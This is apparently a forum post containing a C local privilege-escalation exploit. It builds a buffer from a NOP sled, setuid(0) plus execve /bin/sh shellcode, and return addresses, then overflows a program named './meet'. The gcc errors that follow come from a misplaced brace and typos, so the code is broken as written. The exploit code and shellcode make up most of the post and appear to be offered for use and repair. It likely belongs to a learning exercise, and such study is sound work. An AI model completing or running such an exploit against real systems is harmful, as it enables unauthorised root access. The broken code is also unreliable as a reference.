- Code: Select all
// exploit.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[] = //setuid(0) & Aleph1's shellcode
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80" // setuid(0) first
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
//Small function to retrieve the esp value (only works locally)
unsigned long get_sp(void) {
__asm__(".intel_syntax noprefix\n mov eax, esp");
}
int main(int argc, char *argv[1]) { //main function
int i, offset = 0; //used to count/subtract later
long esp, ret, *addr_ptr; //used to save addresses
char *buffer, *ptr; //two strings: buffer, ptr
int size = 500; //default buffer size
esp = get_sp(); //get local esp value
if(argc > 1) size = atoi(argv[1]); //if 1 argument, store to size
if(argc > 2) offset = atoi(argv[2]);//if 2 argument, store offset
if(argc > 3) esp = strou1(argv[3],NULL,0); //used for remote exploits
ret = esp - offset; //calc default value of return
// print directions for use
fprintf(stderr,"Useage: %s<buff_size> <offset> <esp:0xfff...>\n", argv[0]);
//print feedback of operation
fprintf(stderr, "ESP:0x%x Offset:0x%x Return:0x%x\n",esp,offset,ret);
buffer = (char *)malloc(size); //allocate buffer on heap
ptr = buffer; //temp pointer,set to location of buffer
addr_ptr = (long *) ptr; //temp addr_ptr, set to location of ptr
//Fill entire buffer with return addresses, ensures proper alignment
for(i=0; i < size; i+=4){ //increment of 4 bytes for addr
*(addr_ptr++) = ret; //use addr_ptr to write into buffer
}
//Fill 1st half of exploit buffer with NOPs
for(i=0; i < size/2; i++){ //notice we only write up to half the size
buffer[i] = '\x90'; //place NOPs in the first half of buffer
}
// Now place shellcode
ptr = buffer + size/2;
for(i=0; i < strlen(shellcode); i++)//write half the buffer til the end of sc
*(ptr++) = shellcode[i]; //now write the shellcode
}
//Terminate the string
buffer[size-1]=0; //this is so the buffer ends with x\0
//Now, call the vulerable program with buffer as second arguement.
exec1("./meet", "meet", "Mr.",buffer,0); //the list of args is ended w/0
printf("%s\n",buffer); //used for remote exploits
//free up the heap
free(buffer); //play nicely
return 0; //exit gracefully
}
Here's the errors from gcc:
- Code: Select all
# gcc ./exploit.c -o exploit
./exploit.c:50: error: 'size' undeclared here (not in a function)
./exploit.c:50: warning: data definition has no type or storage class
./exploit.c:52: error: expected declaration specifiers or '...' before string constant
./exploit.c:52: error: expected declaration specifiers or '...' before string constant
./exploit.c:52: error: expected declaration specifiers or '...' before string constant
./exploit.c:52: error: expected declaration specifiers or '...' before 'buffer'
./exploit.c:52: error: expected declaration specifiers or '...' before numeric constant
./exploit.c:52: warning: data definition has no type or storage class
./exploit.c:53: error: expected declaration specifiers or '...' before string constant
./exploit.c:53: error: expected declaration specifiers or '...' before 'buffer'
./exploit.c:53: warning: data definition has no type or storage class
./exploit.c:53: error: conflicting types for 'printf'
./exploit.c:53: note: a parameter list with an ellipsis can't match an empty parameter name list declaration
./exploit.c:55: warning: data definition has no type or storage class
./exploit.c:55: warning: parameter names (without types) in function declaration
./exploit.c:55: error: conflicting types for 'free'
./exploit.c:56: error: expected identifier or '(' before 'return'
./exploit.c:57: error: expected identifier or '(' before '}' token
